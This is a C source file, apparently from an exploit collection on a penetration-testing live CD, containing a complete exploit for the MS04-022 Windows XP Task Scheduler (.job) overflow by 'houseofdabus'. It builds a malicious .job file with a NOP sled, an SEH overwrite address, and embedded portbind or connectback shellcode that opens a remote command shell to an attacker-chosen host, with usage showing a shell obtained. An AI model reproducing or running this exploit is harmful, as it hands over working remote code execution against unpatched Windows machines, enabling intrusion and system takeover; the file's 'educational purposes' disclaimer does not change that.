home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / HOD-ms04022-task-expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  315 lines

  1. /* HOD-ms04022-task-expl.c:
  2.  *
  3.  * (MS04-022) Microsoft Windows XP Task Scheduler (.job)
  4. Universal Exploit
  5.  *
  6.  * Exploit version 0.1 coded by
  7.  *
  8.  *
  9.  *                 .::[ houseofdabus ]::.
  10.  *
  11.  *
  12.  * [at inbox dot ru]
  13.  * -------------------------------------------------------------------
  14.  * Tested on:
  15.  *    - Internet Explorer 6.0 (SP1) (iexplore.exe)
  16.  *    - Explorer (explorer.exe)
  17.  *    - Windows XP SP0, SP1
  18.  *
  19.  * -------------------------------------------------------------------
  20.  * Compile:
  21.  *    Win32/VC++  : cl HOD-ms04022-task-expl.c
  22.  *    Win32/cygwin: gcc HOD-ms04022-task-expl.c
  23. -lws2_32.lib
  24.  *    Linux       : gcc -o HOD-ms04022-task-expl
  25. HOD-ms04022-task-expl.c
  26.  *
  27.  * -------------------------------------------------------------------
  28.  * Command Line Parameters/Arguments:
  29.  *
  30.  *   HOD.exe <file> <shellcode> <bind/connectback port>
  31. [connectback IP]
  32.  *
  33.  *   Shellcode:
  34.  *        1 - Portbind shellcode
  35.  *        2 - Connectback shellcode
  36.  *
  37.  * -------------------------------------------------------------------
  38.  * Example:
  39.  *
  40.  * C:\>HOD-ms04022-task-expl.exe expl.job 1 7777
  41.  *
  42.  * (MS04-022) Microsoft Windows XP Task Scheduler (.job)
  43. Universal Exploit
  44.  *
  45.  * --- Coded by .::[ houseofdabus ]::. ---
  46.  *
  47.  * [*] Shellcode: Portbind, port = 7777
  48.  * [*] Generate file: expl.job
  49.  *
  50.  * C:\>
  51.  *
  52.  * start IE -> C:\
  53.  *
  54.  * C:\>telnet localhost 7777
  55.  * Microsoft Windows XP [?????? 5.1.2600]
  56.  * (?) ?????????? ??????????, 1985-2001.
  57.  *
  58.  * C:\Documents and Settings\v.X\??????? ????>
  59.  *
  60.  * -------------------------------------------------------------------
  61.  *
  62.  *   This is provided as proof-of-concept code only for
  63. educational
  64.  *   purposes and testing by authorized individuals with
  65. permission to
  66.  *   do so.
  67.  *
  68.  */
  69.  
  70. /* #define _WIN32 */
  71.  
  72. #include <stdio.h>
  73. #include <stdlib.h>
  74.  
  75. #ifdef _WIN32
  76. #pragma comment(lib,"ws2_32")
  77. #include <winsock2.h>
  78.  
  79. #else
  80. #include <sys/types.h>
  81. #include <netinet/in.h>
  82. #include <sys/socket.h>
  83. #endif
  84.  
  85.  
  86.  
  87. unsigned char jobfile[] =
  88.  
  89. /* job header */
  90. "\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
  91. "\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
  92. "\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
  93. "\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  94. "\x00\x00\x00\x00\x00\x00"
  95.  
  96. /* length */
  97. "\x11\x11"
  98.  
  99. /* garbage C:\... */
  100. /* unicode */
  101. "\x43\x00\x3A\x00\x5C\x00\x61\x00"
  102. "\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  103. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  104. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  105. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  106. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  107. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  108. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  110. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  111. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  112. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  113. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  114. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  115. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  116. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  117. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  118. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  119. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  120. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  121. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  122. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  123. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  124. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  125. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  126. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  127. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  128. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  129. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  130. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  131. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  132. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  133. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  134.  
  135. "\x1E\x82\xDC\x77"
  136.  
  137. /* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */
  138. /* for Win2k use jmp ebx or call ebx  */
  139.  
  140. "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
  141. "\x80\x31\x31\x80" /* generate exception */
  142.  
  143. "\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
  144. "\x90\x90";
  145.  
  146.  
  147.  
  148. /* portbind shellcode */
  149. unsigned char portbindsc[] =
  150. "\x90\x90"
  151. "\x90\x90\xEB\x06" /* overwrite SEH-frame */
  152. "\x90\x90"
  153. "\x90\x90\x90\x90"
  154. "\x90\x90\x90\x90"
  155.  
  156. "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
  157. "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
  158. "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
  159. "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
  160. "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
  161. "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
  162. "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
  163. "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
  164. "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
  165. "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
  166. "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
  167. "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
  168. "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
  169. "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
  170. "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
  171. "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
  172. "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
  173. "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
  174. "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
  175. "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
  176. "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
  177. "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
  178. "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
  179. "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
  180. "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
  181. "\x28\xff\x55\x0c";
  182.  
  183.  
  184.  
  185. /* connectback shellcode */
  186. unsigned char connectbacksc[] =
  187. "\x90\x90"
  188. "\x90\x90\xEB\x06" /* overwrite SEH-frame */
  189. "\x90\x90"
  190. "\x90\x90\x90\x90"
  191. "\x90\x90\x90\x90"
  192.  
  193. "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
  194. "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
  195. "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
  196. "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
  197. "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
  198. "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
  199. "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
  200. "\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
  201. "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
  202. "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
  203. "\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
  204. "\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
  205. "\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
  206. "\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
  207. "\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
  208. "\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
  209. "\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
  210. "\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
  211. "\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
  212. "\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
  213. "\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
  214. "\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
  215. "\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
  216. "\x77\x38\xff\x55\x20\xff\x55\x0c";
  217.  
  218.  
  219.  
  220. /* use this form
  221. unsigned char sc[] =
  222. "\x90\x90"
  223. "\x90\x90\xEB\x06" - overwrite SEH-frame
  224. "\x90\x90"
  225. "\x90\x90\x90\x90"
  226. "\x90\x90\x90\x90"
  227.  
  228. "... code ...";
  229. */
  230.  
  231. unsigned char endofjob[] = "\x00\x00\x00\x00";
  232.  
  233. #define SET_PORTBIND_PORT(buf, port) *(unsigned short
  234. *)(((buf)+300+16)) = (port)
  235. #define SET_CONNECTBACK_IP(buf, ip)     *(unsigned
  236. long *)(((buf)+283+16)) = (ip)
  237. #define SET_CONNECTBACK_PORT(buf, port) *(unsigned
  238. short *)(((buf)+290+16)) = (port)
  239.  
  240. void
  241. usage(char *prog)
  242. {
  243.         printf("Usage:\n");
  244.         printf("%s <file> <shellcode> <bind/connectback port>
  245. [connectback IP]\n", prog);
  246.         printf("\nShellcode:\n");
  247.         printf("      1 - Portbind shellcode\n");
  248.         printf("      2 - Connectback shellcode\n\n");
  249.         exit(0);
  250. }
  251.  
  252. int
  253. main(int argc, char **argv)
  254. {
  255.         unsigned short strlen;
  256.         unsigned short port;
  257.         unsigned long ip, sc;
  258.         FILE *fp, *fp2;
  259.  
  260.         printf("\n(MS04-022) Microsoft Windows XP Task
  261. Scheduler (.job) Universal Exploit\n\n");
  262.         printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
  263.  
  264.         if (argc < 4) usage(argv[0]);
  265.  
  266.         sc = atoi(argv[2]);
  267.         if ( ((sc == 2) && (argc < 5)) || (sc > 2))
  268. usage(argv[0]);
  269.  
  270.         fp = fopen(argv[1], "wb");
  271.         if (fp == NULL) {
  272.                 printf("[-] error: can\'t create file: %s\n", argv[1]);
  273.                 exit(0);
  274.         }
  275.  
  276.         /* header & garbage */
  277.         fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
  278.         fseek(fp, 39*16, SEEK_SET);
  279.  
  280.         port = atoi(argv[3]);
  281.         printf("[*] Shellcode: ");
  282.         if (sc == 1) {
  283.                 SET_PORTBIND_PORT(portbindsc, htons(port));
  284.                 printf("Portbind, port = %u\n", port);
  285.                 fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp);
  286.                 fwrite(endofjob, 1, 4, fp);
  287.                 fseek(fp, 70, SEEK_SET);
  288.                 /* calculate length (see header) */
  289.                 strlen =
  290. (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2;
  291.         }
  292.         else {
  293.                 ip = inet_addr(argv[4]);
  294.                 SET_CONNECTBACK_IP(connectbacksc, ip);
  295.                 SET_CONNECTBACK_PORT(connectbacksc,
  296. htons(port));
  297.                 printf("Connectback, port = %u, IP = %s\n", port,
  298. argv[4]);
  299.                 fwrite(connectbacksc, 1, sizeof(connectbacksc)-1,
  300. fp);
  301.                 fwrite(endofjob, 1, 4, fp);
  302.                 fseek(fp, 70, SEEK_SET);
  303.                 /* calculate length (see header) */
  304.                 strlen =
  305. (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2;
  306.         }
  307.  
  308.         printf("[*] Generate file: %s\n", argv[1]);
  309.         fwrite(&strlen, 1, 2, fp);
  310.         fclose(fp);
  311.  
  312. return 0;
  313. }
  314.  
  315.